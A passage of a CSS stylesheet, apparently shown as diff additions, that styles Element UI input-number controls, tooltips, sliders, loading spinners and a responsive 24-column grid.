scale(.8); + transform: scale(.8) +} + +.el-input-number.is-controls-right .el-input-number__increase { + border-radius: 0 4px 0 0; + border-bottom: 1px solid #dcdfe6 +} + +.el-input-number.is-controls-right .el-input-number__decrease { + right: 1px; + bottom: 1px; + top: auto; + left: auto; + border-right: none; + border-left: 1px solid #dcdfe6; + border-radius: 0 0 4px +} + +.el-input-number.is-controls-right[class*=medium] [class*=decrease], +.el-input-number.is-controls-right[class*=medium] [class*=increase] { + line-height: 17px +} + +.el-input-number.is-controls-right[class*=small] [class*=decrease], +.el-input-number.is-controls-right[class*=small] [class*=increase] { + line-height: 15px +} + +.el-input-number.is-controls-right[class*=mini] [class*=decrease], +.el-input-number.is-controls-right[class*=mini] [class*=increase] { + line-height: 13px +} + +.el-tooltip__popper { + position: absolute; + border-radius: 4px; + padding: 10px; + z-index: 2000; + font-size: 12px; + line-height: 1.2; + min-width: 10px; + word-wrap: break-word +} + +.el-tooltip__popper .popper__arrow, +.el-tooltip__popper .popper__arrow::after { + position: absolute; + display: block; + width: 0; + height: 0; + border-color: transparent; + border-style: solid +} + +.el-tooltip__popper .popper__arrow { + border-width: 6px +} + +.el-tooltip__popper .popper__arrow::after { + content: " "; + border-width: 5px +} + +.el-progress-bar__inner::after, +.el-row::after, +.el-row::before, +.el-slider::after, +.el-slider::before, +.el-slider__button-wrapper::after, +.el-upload-cover::after { + content: "" +} + +.el-tooltip__popper[x-placement^=top] { + margin-bottom: 12px +} + +.el-tooltip__popper[x-placement^=top] .popper__arrow { + bottom: -6px; + border-top-color: #303133; + border-bottom-width: 0 +} + +.el-tooltip__popper[x-placement^=top] .popper__arrow::after { + bottom: 1px; + margin-left: -5px; + border-top-color: #303133; + border-bottom-width: 0 +} + +.el-tooltip__popper[x-placement^=bottom] { + margin-top: 12px +} + +.el-tooltip__popper[x-placement^=bottom] .popper__arrow { + top: -6px; + border-top-width: 0; + border-bottom-color: #303133 +} + +.el-tooltip__popper[x-placement^=bottom] .popper__arrow::after { + top: 1px; + margin-left: -5px; + border-top-width: 0; + border-bottom-color: #303133 +} + +.el-tooltip__popper[x-placement^=right] { + margin-left: 12px +} + +.el-tooltip__popper[x-placement^=right] .popper__arrow { + left: -6px; + border-right-color: #303133; + border-left-width: 0 +} + +.el-tooltip__popper[x-placement^=right] .popper__arrow::after { + bottom: -5px; + left: 1px; + border-right-color: #303133; + border-left-width: 0 +} + +.el-tooltip__popper[x-placement^=left] { + margin-right: 12px +} + +.el-tooltip__popper[x-placement^=left] .popper__arrow { + right: -6px; + border-right-width: 0; + border-left-color: #303133 +} + +.el-tooltip__popper[x-placement^=left] .popper__arrow::after { + right: 1px; + bottom: -5px; + margin-left: -5px; + border-right-width: 0; + border-left-color: #303133 +} + +.el-tooltip__popper.is-dark { + background: #303133; + color: #fff +} + +.el-tooltip__popper.is-light { + background: #fff; + border: 1px solid #303133 +} + +.el-tooltip__popper.is-light[x-placement^=top] .popper__arrow { + border-top-color: #303133 +} + +.el-tooltip__popper.is-light[x-placement^=top] .popper__arrow::after { + border-top-color: #fff +} + +.el-tooltip__popper.is-light[x-placement^=bottom] .popper__arrow { + border-bottom-color: #303133 +} + +.el-tooltip__popper.is-light[x-placement^=bottom] .popper__arrow::after { + border-bottom-color: #fff +} + +.el-tooltip__popper.is-light[x-placement^=left] .popper__arrow { + border-left-color: #303133 +} + +.el-tooltip__popper.is-light[x-placement^=left] .popper__arrow::after { + border-left-color: #fff +} + +.el-tooltip__popper.is-light[x-placement^=right] .popper__arrow { + border-right-color: #303133 +} + +.el-tooltip__popper.is-light[x-placement^=right] .popper__arrow::after { + border-right-color: #fff +} + +.el-slider::after, +.el-slider::before { + display: table +} + +.el-slider__button-wrapper .el-tooltip, +.el-slider__button-wrapper::after { + vertical-align: middle; + display: inline-block +} + +.el-slider::after { + clear: both +} + +.el-slider__runway { + width: 100%; + height: 6px; + margin: 16px 0; + background-color: #e4e7ed; + border-radius: 3px; + position: relative; + cursor: pointer; + vertical-align: middle +} + +.el-slider__runway.show-input { + margin-right: 160px; + width: auto +} + +.el-slider__runway.disabled { + cursor: default +} + +.el-slider__runway.disabled .el-slider__bar { + background-color: #c0c4cc +} + +.el-slider__runway.disabled .el-slider__button { + border-color: #c0c4cc +} + +.el-slider__runway.disabled .el-slider__button-wrapper.dragging, +.el-slider__runway.disabled .el-slider__button-wrapper.hover, +.el-slider__runway.disabled .el-slider__button-wrapper:hover { + cursor: not-allowed +} + +.el-slider__runway.disabled .el-slider__button.dragging, +.el-slider__runway.disabled .el-slider__button.hover, +.el-slider__runway.disabled .el-slider__button:hover { + -webkit-transform: scale(1); + transform: scale(1); + cursor: not-allowed +} + +.el-slider__button-wrapper, +.el-slider__stop { + -webkit-transform: translateX(-50%); + position: absolute +} + +.el-slider__input { + float: right; + margin-top: 3px; + width: 130px +} + +.el-slider__input.el-input-number--mini { + margin-top: 5px +} + +.el-slider__input.el-input-number--medium { + margin-top: 0 +} + +.el-slider__input.el-input-number--large { + margin-top: -2px +} + +.el-slider__bar { + height: 6px; + background-color: var(--color-primary, #419488); + border-top-left-radius: 3px; + border-bottom-left-radius: 3px; + position: absolute +} + +.el-slider__button-wrapper { + height: 36px; + width: 36px; + z-index: 1001; + top: -15px; + transform: translateX(-50%); + background-color: transparent; + text-align: center; + user-select: none; + line-height: normal +} + +.el-slider__button-wrapper::after { + height: 100% +} + +.el-slider__button-wrapper.hover, +.el-slider__button-wrapper:hover { + cursor: -webkit-grab; + cursor: grab +} + +.el-slider__button-wrapper.dragging { + cursor: -webkit-grabbing; + cursor: grabbing +} + +.el-slider__button { + width: 16px; + height: 16px; + border: 2px solid var(--color-primary, #419488); + background-color: #fff; + border-radius: 50%; + -webkit-transition: .2s; + transition: .2s; + user-select: none +} + +.el-image-viewer__btn, +.el-step__icon-inner { + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none +} + +.el-slider__button.dragging, +.el-slider__button.hover, +.el-slider__button:hover { + -webkit-transform: scale(1.2); + transform: scale(1.2) +} + +.el-slider__button.hover, +.el-slider__button:hover { + cursor: -webkit-grab; + cursor: grab +} + +.el-slider__button.dragging { + cursor: -webkit-grabbing; + cursor: grabbing +} + +.el-slider__stop { + height: 6px; + width: 6px; + border-radius: 100%; + background-color: #fff; + transform: translateX(-50%) +} + +.el-slider__marks { + top: 0; + left: 12px; + width: 18px; + height: 100% +} + +.el-slider__marks-text { + position: absolute; + -webkit-transform: translateX(-50%); + transform: translateX(-50%); + font-size: 14px; + color: #909399; + margin-top: 15px +} + +.el-slider.is-vertical { + position: relative +} + +.el-slider.is-vertical .el-slider__runway { + width: 6px; + height: 100%; + margin: 0 16px +} + +.el-slider.is-vertical .el-slider__bar { + width: 6px; + height: auto; + border-radius: 0 0 3px 3px +} + +.el-slider.is-vertical .el-slider__button-wrapper { + top: auto; + left: -15px; + -webkit-transform: translateY(50%); + transform: translateY(50%) +} + +.el-slider.is-vertical .el-slider__stop { + -webkit-transform: translateY(50%); + transform: translateY(50%) +} + +.el-slider.is-vertical.el-slider--with-input { + padding-bottom: 58px +} + +.el-slider.is-vertical.el-slider--with-input .el-slider__input { + overflow: visible; + float: none; + position: absolute; + bottom: 22px; + width: 36px; + margin-top: 15px +} + +.el-slider.is-vertical.el-slider--with-input .el-slider__input .el-input__inner { + text-align: center; + padding-left: 5px; + padding-right: 5px +} + +.el-slider.is-vertical.el-slider--with-input .el-slider__input .el-input-number__decrease, +.el-slider.is-vertical.el-slider--with-input .el-slider__input .el-input-number__increase { + top: 32px; + margin-top: -1px; + border: 1px solid #dcdfe6; + line-height: 20px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition: border-color .2s cubic-bezier(.645, .045, .355, 1); + transition: border-color .2s cubic-bezier(.645, .045, .355, 1) +} + +.el-slider.is-vertical.el-slider--with-input .el-slider__input .el-input-number__decrease { + width: 18px; + right: 18px; + border-bottom-left-radius: 4px +} + +.el-slider.is-vertical.el-slider--with-input .el-slider__input .el-input-number__increase { + width: 19px; + border-bottom-right-radius: 4px +} + +.el-slider.is-vertical.el-slider--with-input .el-slider__input .el-input-number__increase~.el-input .el-input__inner { + border-bottom-left-radius: 0; + border-bottom-right-radius: 0 +} + +.el-slider.is-vertical.el-slider--with-input .el-slider__input:hover .el-input-number__decrease, +.el-slider.is-vertical.el-slider--with-input .el-slider__input:hover .el-input-number__increase { + border-color: #c0c4cc +} + +.el-slider.is-vertical.el-slider--with-input .el-slider__input:active .el-input-number__decrease, +.el-slider.is-vertical.el-slider--with-input .el-slider__input:active .el-input-number__increase { + border-color: var(--color-primary, #419488) +} + +.el-slider.is-vertical .el-slider__marks-text { + margin-top: 0; + left: 15px; + -webkit-transform: translateY(50%); + transform: translateY(50%) +} + +.el-loading-parent--relative { + position: relative !important +} + +.el-loading-parent--hidden { + overflow: hidden !important +} + +.el-loading-mask { + position: absolute; + z-index: 2000; + background-color: rgba(255, 255, 255, .9); + margin: 0; + top: 0; + right: 0; + bottom: 0; + left: 0; + -webkit-transition: opacity .3s; + transition: opacity .3s +} + +.el-loading-mask.is-fullscreen { + position: fixed +} + +.el-loading-mask.is-fullscreen .el-loading-spinner { + margin-top: -25px +} + +.el-loading-mask.is-fullscreen .el-loading-spinner .circular { + height: 50px; + width: 50px +} + +.el-loading-spinner { + top: 50%; + margin-top: -21px; + width: 100%; + text-align: center; + position: absolute +} + +.el-col-pull-0, +.el-col-pull-1, +.el-col-pull-10, +.el-col-pull-11, +.el-col-pull-13, +.el-col-pull-14, +.el-col-pull-15, +.el-col-pull-16, +.el-col-pull-17, +.el-col-pull-18, +.el-col-pull-19, +.el-col-pull-2, +.el-col-pull-20, +.el-col-pull-21, +.el-col-pull-22, +.el-col-pull-23, +.el-col-pull-24, +.el-col-pull-3, +.el-col-pull-4, +.el-col-pull-5, +.el-col-pull-6, +.el-col-pull-7, +.el-col-pull-8, +.el-col-pull-9, +.el-col-push-0, +.el-col-push-1, +.el-col-push-10, +.el-col-push-11, +.el-col-push-12, +.el-col-push-13, +.el-col-push-14, +.el-col-push-15, +.el-col-push-16, +.el-col-push-17, +.el-col-push-18, +.el-col-push-19, +.el-col-push-2, +.el-col-push-20, +.el-col-push-21, +.el-col-push-22, +.el-col-push-23, +.el-col-push-24, +.el-col-push-3, +.el-col-push-4, +.el-col-push-5, +.el-col-push-6, +.el-col-push-7, +.el-col-push-8, +.el-col-push-9, +.el-row { + position: relative +} + +.el-loading-spinner .el-loading-text { + color: var(--color-primary, #419488); + margin: 3px 0; + font-size: 14px +} + +.el-loading-spinner .circular { + height: 42px; + width: 42px; + -webkit-animation: loading-rotate 2s linear infinite; + animation: loading-rotate 2s linear infinite +} + +.el-loading-spinner .path { + -webkit-animation: loading-dash 1.5s ease-in-out infinite; + animation: loading-dash 1.5s ease-in-out infinite; + stroke-dasharray: 90, 150; + stroke-dashoffset: 0; + stroke-width: 2; + stroke: var(--color-primary, #419488); + stroke-linecap: round +} + +.el-loading-spinner i { + color: var(--color-primary, #419488) +} + +@-webkit-keyframes loading-rotate { + 100% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg) + } +} + +@keyframes loading-rotate { + 100% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg) + } +} + +@-webkit-keyframes loading-dash { + 0% { + stroke-dasharray: 1, 200; + stroke-dashoffset: 0 + } + 50% { + stroke-dasharray: 90, 150; + stroke-dashoffset: -40px + } + 100% { + stroke-dasharray: 90, 150; + stroke-dashoffset: -120px + } +} + +@keyframes loading-dash { + 0% { + stroke-dasharray: 1, 200; + stroke-dashoffset: 0 + } + 50% { + stroke-dasharray: 90, 150; + stroke-dashoffset: -40px + } + 100% { + stroke-dasharray: 90, 150; + stroke-dashoffset: -120px + } +} + +.el-row { + -webkit-box-sizing: border-box; + box-sizing: border-box +} + +.el-row::after, +.el-row::before { + display: table +} + +.el-row::after { + clear: both +} + +.el-row--flex { + display: -webkit-box; + display: -ms-flexbox; + display: flex +} + +.el-col-0, +.el-row--flex:after, +.el-row--flex:before { + display: none +} + +.el-row--flex.is-justify-center { + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center +} + +.el-row--flex.is-justify-end { + -webkit-box-pack: end; + -ms-flex-pack: end; + justify-content: flex-end +} + +.el-row--flex.is-justify-space-between { + -webkit-box-pack: justify; + -ms-flex-pack: justify; + justify-content: space-between +} + +.el-row--flex.is-justify-space-around { + -ms-flex-pack: distribute; + justify-content: space-around +} + +.el-row--flex.is-align-middle { + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center +} + +.el-row--flex.is-align-bottom { + -webkit-box-align: end; + -ms-flex-align: end; + align-items: flex-end +} + +[class*=el-col-] { + float: left; + -webkit-box-sizing: border-box; + box-sizing: border-box +} + +.el-upload--picture-card, +.el-upload-dragger { + -webkit-box-sizing: border-box; + cursor: pointer +} + +.el-col-0 { + width: 0% +} + +.el-col-offset-0 { + margin-left: 0 +} + +.el-col-pull-0 { + right: 0 +} + +.el-col-push-0 { + left: 0 +} + +.el-col-1 { + width: 4.16667% +} + +.el-col-offset-1 { + margin-left: 4.16667% +} + +.el-col-pull-1 { + right: 4.16667% +} + +.el-col-push-1 { + left: 4.16667% +} + +.el-col-2 { + width: 8.33333% +} + +.el-col-offset-2 { + margin-left: 8.33333% +} + +.el-col-pull-2 { + right: 8.33333% +} + +.el-col-push-2 { + left: 8.33333% +} + +.el-col-3 { + width: 12.5% +} + +.el-col-offset-3 { + margin-left: 12.5% +} + +.el-col-pull-3 { + right: 12.5% +} + +.el-col-push-3 { + left: 12.5% +} + +.el-col-4 { + width: 16.66667% +} + +.el-col-offset-4 { + margin-left: 16.66667% +} + +.el-col-pull-4 { + right: 16.66667% +} + +.el-col-push-4 { + left: 16.66667% +} + +.el-col-5 { + width: 20.83333% +} + +.el-col-offset-5 { + margin-left: 20.83333% +} + +.el-col-pull-5 { + right: 20.83333% +} + +.el-col-push-5 { + left: 20.83333% +} + +.el-col-6 { + width: 25% +} + +.el-col-offset-6 { + margin-left: 25% +} + +.el-col-pull-6 { + right: 25% +} + +.el-col-push-6 { + left: 25% +} + +.el-col-7 { + width: 29.16667% +} + +.el-col-offset-7 { + margin-left: 29.16667% +} + +.el-col-pull-7 { + right: 29.16667% +} + +.el-col-push-7 { + left: 29.16667% +} + +.el-col-8 { + width: 33.33333% +} + +.el-col-offset-8 { + margin-left: 33.33333% +} + +.el-col-pull-8 { + right: 33.33333% +} + +.el-col-push-8 { + left: 33.33333% +} + +.el-col-9 { + width: 37.5% +} + +.el-col-offset-9 { + margin-left: 37.5% +} + +.el-col-pull-9 { + right: 37.5% +} + +.el-col-push-9 { + left: 37.5% +} + +.el-col-10 { + width: 41.66667% +} + +.el-col-offset-10 { + margin-left: 41.66667% +} + +.el-col-pull-10 { + right: 41.66667% +} + +.el-col-push-10 { + left: 41.66667% +} + +.el-col-11 { + width: 45.83333% +} + +.el-col-offset-11 { + margin-left: 45.83333% +} + +.el-col-pull-11 { + right: 45.83333% +} + +.el-col-push-11 { + left: 45.83333% +} + +.el-col-12 { + width: 50% +} + +.el-col-offset-12 { + margin-left: 50% +} + +.el-col-pull-12 { + position: relative; + right: 50% +} + +.el-col-push-12 { + left: 50% +} + +.el-col-13 { + width: 54.16667% +} + +.el-col-offset-13 { + margin-left: 54.16667% +} + +.el-col-pull-13 { + right: 54.16667% +} + +.el-col-push-13 { + left: 54.16667% +} + +.el-col-14 { + width: 58.33333% +} + +.el-col-offset-14 { + margin-left: 58.33333% +} + +.el-col-pull-14 { + right: 58.33333% +} + +.el-col-push-14 { + left: 58.33333% +} + +.el-col-15 { + width: 62.5% +} + +.el-col-offset-15 { + margin-left: 62.5% +} + +.el-col-pull-15 { + right: 62.5% +} + +.el-col-push-15 { + left: 62.5% +} + +.el-col-16 { + width: 66.66667% +} + +.el-col-offset-16 { + margin-left: 66.66667% +} + +.el-col-pull-16 { + right: 66.66667% +} + +.el-col-push-16 { + left: 66.66667% +} + +.el-col-17 { + width: 70.83333% +} + +.el-col-offset-17 { + margin-left: 70.83333% +} + +.el-col-pull-17 { + right: 70.83333% +} + +.el-col-push-17 { + left: 70.83333% +} + +.el-col-18 { + width: 75% +} + +.el-col-offset-18 { + margin-left: 75% +} + +.el-col-pull-18 { + right: 75% +} + +.el-col-push-18 { + left: 75% +} + +.el-col-19 { + width: 79.16667% +} + +.el-col-offset-19 { + margin-left: 79.16667% +} + +.el-col-pull-19 { + right: 79.16667% +} + +.el-col-push-19 { + left: 79.16667% +} + +.el-col-20 { + width: 83.33333% +} + +.el-col-offset-20 { + margin-left: 83.33333% +} + +.el-col-pull-20 { + right: 83.33333% +} + +.el-col-push-20 { + left: 83.33333% +} + +.el-col-21 { + width: 87.5% +} + +.el-col-offset-21 { + margin-left: 87.5% +} + +.el-col-pull-21 { + right: 87.5% +} + +.el-col-push-21 { + left: 87.5% +} + +.el-col-22 { + width: 91.66667% +} + +.el-col-offset-22 { + margin-left: 91.66667% +} + +.el-col-pull-22 { + right: 91.66667% +} + +.el-col-push-22 { + left: 91.66667% +} + +.el-col-23 { + width: 95.83333% +} + +.el-col-offset-23 { + margin-left: 95.83333% +} + +.el-col-pull-23 { + right: 95.83333% +} + +.el-col-push-23 { + left: 95.83333% +} + +.el-col-24 { + width: 100% +} + +.el-col-offset-24 { + margin-left: 100% +} + +.el-col-pull-24 { + right: 100% +} + +.el-col-push-24 { + left: 100% +} + +@media only screen and (max-width:767px) { + .el-col-xs-0 { + display: none; + width: 0% + } + .el-col-xs-offset-0 { + margin-left: 0 + } + .el-col-xs-pull-0 { + position: relative; + right: 0 + } + .el-col-xs-push-0 { + position: relative; + left: 0 + } + .el-col-xs-1 { + width: 4.16667% + } + .el-col-xs-offset-1 { + margin-left: 4.16667% + } + .el-col-xs-pull-1 { + position: relative; + right: 4.16667% + } + .el-col-xs-push-1 { + position: relative; + left: 4.16667% + } + .el-col-xs-2 { + width: 8.33333% + } + .el-col-xs-offset-2 { + margin-left: 8.33333% + } + .el-col-xs-pull-2 { + position: relative; + right: 8.33333% + } + .el-col-xs-push-2 { + position: relative; + left: 8.33333% + } + .el-col-xs-3 { + width: 12.5% + } + .el-col-xs-offset-3 { + margin-left: 12.5% + } + .el-col-xs-pull-3 { + position: relative; + right: 12.5% + } + .el-col-xs-push-3 { + position: relative; + left: 12.5% + } + .el-col-xs-4 { + width: 16.66667% + } + .el-col-xs-offset-4 { + margin-left: 16.66667% + } + .el-col-xs-pull-4 { + position: relative; + right: 16.66667% + } + .el-col-xs-push-4 { + position: relative; + left: 16.66667% + } + .el-col-xs-5 { + width: 20.83333% + } + .el-col-xs-offset-5 { + margin-left: 20.83333% + } + .el-col-xs-pull-5 { + position: relative; + right: 20.83333% + } + .el-col-xs-push-5 { + position: relative; + left: 20.83333% + } + .el-col-xs-6 { + width: 25% + } + .el-col-xs-offset-6 { + margin-left: 25% + } + .el-col-xs-pull-6 { + position: relative; + right: 25% + } + .el-col-xs-push-6 { + position: relative; + left: 25% + } + .el-col-xs-7 { + width: 29.16667% + } + .el-col-xs-offset-7 { + margin-left: 29.16667% + } + .el-col-xs-pull-7 { + position: relative; + right: 29.16667% + } + .el-col-xs-push-7 { + position: relative; + left: 29.16667% + } + .el-col-xs-8 { + width: 33.33333% + } + .el-col-xs-offset-8 { + margin-left: 33.33333% + } + .el-col-xs-pull-8 { + position: relative; + right: 33.33333% + } + .el-col-xs-push-8 { + position: relative; + left: 33.33333% + } + .el-col-xs-9 { + width: 37.5% + } + .el-col-xs-offset-9 { + margin-left: 37.5% + } + .el-col-xs-pull-9 { + position: relative; + right: 37.5% + } + .el-col-xs-push-9 { + position: relative; + left: 37.5% + } + .el-col-xs-10 { + width: 41.66667% + } + .el-col-xs-offset-10 { + margin-left: 41.66667% + } + .el-col-xs-pull-10 { + position: relative; + right: 41.66667% + } + .el-col-xs-push-10 { + position: relative; + left: 41.66667% + } + .el-col-xs-11 { + width: 45.83333% + } + .el-col-xs-offset-11 { + margin-left: 45.83333% + } + .el-col-xs-pull-11 { + position: relative; + right: 45.83333% + } + .el-col-xs-push-11 { + position: relative; + left: 45.83333% + } + .el-col-xs-12 { + width: 50% + } + .el-col-xs-offset-12 { + margin-left: 50% + } + .el-col-xs-pull-12 { + position: relative; + right: 50% + } + .el-col-xs-push-12 { + position: relative; + left: 50% + } + .el-col-xs-13 { + width: 54.16667% + } + .el-col-xs-offset-13 { + margin-left: 54.16667% + } + .el-col-xs-pull-13 { + position: relative; + right: 54.16667% + } + .el-col-xs-push-13 { + position: relative; + left: 54.16667% + } + .el-col-xs-14 { + width: 58.33333% + } + .el-col-xs-offset-14 { + margin-left: 58.33333% + } + .el-col-xs-pull-14 { + position: relative; + right: 58.33333% + } + .el-col-xs-push-14 { + position: relative; + left: 58.33333% + } + .el-col-xs-15 { + width: 62.5% + } + .el-col-xs-offset-15 { + margin-left: 62.5% + } + .el-col-xs-pull-15 { + position: relative; + right: 62.5% + } + .el-col-xs-push-15 { + position: relative; + left: 62.5% + } + .el-col-xs-16 { + width: 66.66667% + } + .el-col-xs-offset-16 { + margin-left: 66.66667% + } + .el-col-xs-pull-16 { + position: relative; + right: 66.66667% + } + .el-col-xs-push-16 { + position: relative; + left: 66.66667% + } + .el-col-xs-17 { + width: 70.83333% + } + .el-col-xs-offset-17 { + margin-left: 70.83333% + } + .el-col-xs-pull-17 { + position: relative; + right: 70.83333% + } + .el-col-xs-push-17 { + position: relative; + left: 70.83333% + } + .el-col-xs-18 { + width: 75% + } + .el-col-xs-offset-18 { + margin-left: 75% + } + .el-col-xs-pull-18 { + position: relative; + right: 75% + } + .el-col-xs-push-18 { + position: relative; + left: 75% + } + .el-col-xs-19 { + width: 79.16667% + } + .el-col-xs-offset-19 { + margin-left: 79.16667% + } + .el-col-xs-pull-19 { + position: relative; + right: 79.16667% + } + .el-col-xs-push-19 { + position: relative; + left: 79.16667% + } + .el-col-xs-20 { + width: 83.33333% + } + .el-col-xs-offset-20 { + margin-left: 83.33333% + } + .el-col-xs-pull-20 { + position: relative; + right: 83.33333% + } + .el-col-xs-push-20 { + position: relative; + left: 83.33333% + } + .el-col-xs-21 { + width: 87.5% + } + .el-col-xs-offset-21 { + margin-left: 87.5% + } + .el-col-xs-pull-21 { + position: relative; + right: 87.5% + } + .el-col-xs-push-21 { + position: relative; + left: 87.5% + } + .el-col-xs-22 { + width: 91.66667% + } + .el-col-xs-offset-22 { + margin-left: 91.66667% + } + .el-col-xs-pull-22 { + position: relative; + right: 91.66667% + } + .el-col-xs-push-22 { + position: relative; + left: 91.66667% + } + .el-col-xs-23 { + width: 95.83333% + } + .el-col-xs-offset-23 { + margin-left: 95.83333% + } + .el-col-xs-pull-23 { + position: relative; + right: 95.83333% + } + .el-col-xs-push-23 { + position: relative; + left: 95.83333% + } + .el-col-xs-24 { + width: 100% + } + .el-col-xs-offset-24 { + margin-left: 100% + } + .el-col-xs-pull-24 { + position: relative; + right: 100% + } + .el-col-xs-push-24 { + position: relative; + left: 100% + } +} + +@media only screen and (min-width:768px) { + .el-col-sm-0 { + display: none; + width: 0% + } + .el-col-sm-offset-0 { + margin-left: 0 + } + .el-col-sm-pull-0 { + position: relative; + right: 0 + } + .el-col-sm-push-0 { + position: relative; + left: 0 + } + .el-col-sm-1 { + width: 4.16667% + } + .el-col-sm-offset-1 { + margin-left: 4.16667% + } + .el-col-sm-pull-1 { + position: relative; + right: 4.16667% + } + .el-col-sm-push-1 { + position: relative; + left: 4.16667% + } + .el-col-sm-2 { + width: 8.33333% + } + .el-col-sm-offset-2 { + margin-left: 8.33333% + } + .el-col-sm-pull-2 { + position: relative; + right: 8.33333% + } + .el-col-sm-push-2 { + position: relative; + left: 8.33333% + } + .el-col-sm-3 { + width: 12.5% + } + .el-col-sm-offset-3 { + margin-left: 12.5% + } + .el-col-sm-pull-3 { + position: relative; + right: 12.5% + } + .el-col-sm-push-3 { + position: relative; + left: 12.5% + } + .el-col-sm-4 { + width: 16.66667% + } + .el-col-sm-offset-4 { + margin-left: 16.66667% + } + .el-col-sm-pull-4 { + position: relative; + right: 16.66667% + } + .el-col-sm-push-4 { + position: relative; + left: 16.66667% + } + .el-col-sm-5 { + width: 20.83333% + } + .el-col-sm-offset-5 { + margin-left: 20.83333% + } + .el-col-sm-pull-5 { + position: relative; + right: 20.83333% + } + .el-col-sm-push-5 { + position: relative; + left: 20.83333% + } + .el-col-sm-6 { + width: 25% + } + .el-col-sm-offset-6 { + margin-left: 25% + } + .el-col-sm-pull-6 { + position: relative; + right: 25% + } + .el-col-sm-push-6 { + position: relative; + left: 25% + } + .el-col-sm-7 { + width: 29.16667% + } + .el-col-sm-offset-7 { + margin-left: 29.16667% + } + .el-col-sm-pull-7 { + position: relative; + right: 29.16667% + } + .el-col-sm-push-7 { + position: relative; + left: 29.16667% + } + .el-col-sm-8 { + width: 33.33333% + } + .el-col-sm-offset-8 { + margin-left: 33.33333% + } + .el-col-sm-pull-8 { + position: relative; + right: 33.33333% + } + .el-col-sm-push-8 { + position: relative; + left: 33.33333% + } + .el-col-sm-9 { + width: 37.5% + } + .el-col-sm-offset-9 { + margin-left: 37.5% + } + .el-col-sm-pull-9 { + position: relative; + right: 37.5% + } + .el-col-sm-push-9 { + position: relative; + left: 37.5% + } + .el-col-sm-10 { + width: 41.66667% + } + .el-col-sm-offset-10 { + margin-left: 41.66667% + } + .el-col-sm-pull-10 { + position: relative; + right: 41.66667% + } + .el-col-sm-push-10 { + position: relative; + left: 41.66667% + } + .el-col-sm-11 { + width: 45.83333% + } + .el-col-sm-offset-11 { + margin-left: 45.83333% + } + .el-col-sm-pull-11 { + position: relative; + right: 45.83333% + } + .el-col-sm-push-11 { + position: relative; + left: 45.83333% + } + .el-col-sm-12 { + width: 50% + } + .el-col-sm-offset-12 { + margin-left: 50% + } + .el-col-sm-pull-12 { + position: relative; + right: 50% + } + .el-col-sm-push-12 { + position: relative; + left: 50% + } + .el-col-sm-13 { + width: 54.16667% + } + .el-col-sm-offset-13 { + margin-left: 54.16667% + } + .el-col-sm-pull-13 { + position: relative; + right: 54.16667% + } + .el-col-sm-push-13 { + position: relative; + left: 54.16667% + } + .el-col-sm-14 { + width: 58.33333% + } + .el-col-sm-offset-14 { + margin-left: 58.33333% + } + .el-col-sm-pull-14 { + position: relative; + right: 58.33333% + } + .el-col-sm-push-14 { + position: relative; + left: 58.33333% + } + .el-col-sm-15 { + width: 62.5% + } + .el-col-sm-offset-15 { + margin-left: 62.5% + } + .el-col-sm-pull-15 { + position: relative; + right: 62.5% + } + .el-col-sm-push-15 { + position: relative; + left: 62.5% + } + .el-col-sm-16 { + width: 66.66667% + } + .el-col-sm-offset-16 { + margin-left: 66.66667% + } + .el-col-sm-pull-16 { + position: relative; + right: 66.66667% + } + .el-col-sm-push-16 { + position: relative; + left: 66.66667% + } + .el-col-sm-17 { + width: 70.83333% + } + .el-col-sm-offset-17 { + margin-left: 70.83333% + } + .el-col-sm-pull-17 { + position: relative; + right: 70.83333% + } + .el-col-sm-push-17 { + position: relative; + left: 70.83333% + } + .el-col-sm-18 { + width: 75% + } + .el-col-sm-offset-18 { + margin-left: 75% + } + .el-col-sm-pull-18 { + position: relative; + right: 75% + } + .el-col-sm-push-18 { + position: relative; + left: 75% + } + .el-col-sm-19 { + width: 79.16667% + } + .el-col-sm-offset-19 { + margin-left: 79.16667% + } + .el-col-sm-pull-19 { + position: relative; + right: 79.16667% + } + .el-col-sm-push-19 { + position: relative; + left: 79.16667% + } + .el-col-sm-20 { + width: 83.33333% + } + .el-col-sm-offset-20 { + margin-left: 83.33333% + } + .el-col-sm-pull-20 { + position: relative; + right: 83.33333% + } + .el-col-sm-push-20 { + position: relative; + left: 83.33333% + } + .el-col-sm-21 { + width: 87.5% + } + .el-col-sm-offset-21 { + margin-left: 87.5% + } + .el-col-sm-pull-21 { + position: relative; + right: 87.5% + } + .el-col-sm-push-21 { + position: relative; + left: 87.5% + } + .el-col-sm-22 { + width: 91.66667% + } + .el-col-sm-offset-22 { + margin-left: 91.66667% + } + .el-col-sm-pull-22 { + position: relative; + right: 91.66667% + } + .el-col-sm-push-22 { + position: relative; + left: 91.66667% + } + .el-col-sm-23 { + width: 95.83333% + } + .el-col-sm-offset-23 { + margin-left: 95.83333% + } + .el-col-sm-pull-23 { + position: relative; + right: 95.83333% + } + .el-col-sm-push-23 { + position: relative; + left: 95.83333% + } + .el-col-sm-24 { + width: 100% + } + .el-col-sm-offset-24 { + margin-left: 100% + } + .el-col-sm-pull-24 { + position: relative; + right: 100% + } + .el-col-sm-push-24 { + position: relative; + left: 100% + } +} + +@media only screen and (min-width:992px) { + .el-col-md-0 { + display: none; + width: 0% + } + .el-col-md-offset-0 { + margin-left: 0 + } + .el-col-md-pull-0 { + position: relative; + right: 0 + } + .el-col-md-push-0 { + position: relative; + left: 0 + } + .el-col-md-1 { + width: 4.16667% + } + .el-col-md-offset-1 { + margin-left: 4.16667% + } + .el-col-md-pull-1 { + position: relative; + right: 4.16667% + } + .el-col-md-push-1 { + position: relative; + left: 4.16667% + } + .el-col-md-2 { + width: 8.33333% + } + .el-col-md-offset-2 { + margin-left: 8.33333% + } + .el-col-md-pull-2 { + position: relative; + right: 8.33333% + } + .el-col-md-push-2 { + position: relative; + left: 8.33333% + } + .el-col-md-3 { + width: 12.5% + } + .el-col-md-offset-3 { + margin-left: 12.5% + } + .el-col-md-pull-3 { + position: relative; + right: 12.5% + } + .el-col-md-push-3 { + position: relative; + left: 12.5% + } + .el-col-md-4 { + width: 16.66667% + } + .el-col-md-offset-4 { + margin-left: 16.66667% + } + .el-col-md-pull-4 { + position: relative; + right: 16.66667% + } + .el-col-md-push-4 { + position: relative; + left: 16.66667% + } + .el-col-md-5 